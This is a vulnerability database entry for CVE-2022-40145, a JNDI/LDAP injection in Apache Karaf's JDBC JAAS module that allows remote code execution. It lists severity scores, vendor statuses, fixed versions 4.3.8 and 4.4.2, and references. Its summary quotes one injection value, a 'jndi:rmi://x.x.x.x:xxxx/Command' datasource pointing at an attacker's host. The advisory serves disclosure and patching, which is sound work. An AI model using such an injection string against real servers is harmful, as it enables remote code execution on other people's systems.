CVE-2022-40145 json
Apache Karaf: JDBC JAAS LDAP injection
published 2022-12-21 3 y ago modified 2026-06-17 4 mo ago also GHSA-c2p4-8mvv-rwmv , EUVD-2022-7591
- cvss
- 9.8
- version 3.1, CNA
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- 2.6%
- EPSS 2.6% chance of exploitation in 30 days, percentile 85%
- public exploits
- 0
- none known
Summary
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.
The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup.
This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.
We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
Patch / fix
- maven org.apache.karaf:apache-karaf 4.3.8, 4.4.2
- Apache Software Foundation Apache Karaf 4.3.8, 4.4.2
- github.com/apache/karaf#1632 pull request
Vendor advisories
What the vendors themselves say about their products: affected, fixed or not affected, and what to do.
red hat product security vex CVE-2022-40145 updated cvss 9.8
karaf: JDBC JAAS LDAP injection
-
Red Hat JBoss A-MQ 6 karaf karaf Red Hat JBoss Data Grid 7 karaf karaf Red Hat JBoss Fuse 6 Karaf Karafaffected: workaround, no fix planned “No mitigation is currently available.”
-
Red Hat Decision Manager 7 Karaf Karaf Red Hat Fuse 7 Karaf Karaf Red Hat Process Automation 7 karaf karafnot affected: vulnerable code not present
Red Hat CSAF VEX © Red Hat, Inc., from https://security.access.redhat.com/data/csaf/v2/vex/; changed: reduced to product statuses and remediations. CC BY 4.0 · csaf
CISA SSVC
- Exploitation
- none
- Automatable
- yes
- Technical impact
- total
- Assessed
- 18 mo ago
Exploit prediction
2.60% chance of exploitation in the next 30 days, higher than 85% of all scored CVEs (FIRST EPSS, 2026-11-08).
CVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| CISA ADP | 3.1 | 9.8 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| NVD | 3.1 | 9.8 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | 3.1 | 9.8 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 3.1 | 9.8 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Affected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| maven | org.apache.karaf:apache-karaf | <4.3.8 >=4.4.0, <4.4.2 |
4.3.8 4.4.2 |
Affected products
- Apache Software Foundation Apache Karaf
Classification
References
-
github.com
/apache/karaf/pull/1632
web
-
karaf.apache.org
/security/cve-2022-40145.txt
vendor-advisory, web
-
nvd.nist.gov
/vuln/detail/CVE-2022-40145
advisory
-
gitbox.apache.org
/repos/asf?p=karaf.git;h=2a933445d1
web
-
gitbox.apache.org
/repos/asf?p=karaf.git;h=3819f48341
web
-
github.com
/apache/karaf
package
-
issues.apache.org
/jira/browse/KARAF-7568
web
Sources
- CVE List CVE-2022-40145
- GitHub Advisory GHSA-c2p4-8mvv-rwmv
- NVD CVE-2022-40145
Fencer Vulns keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.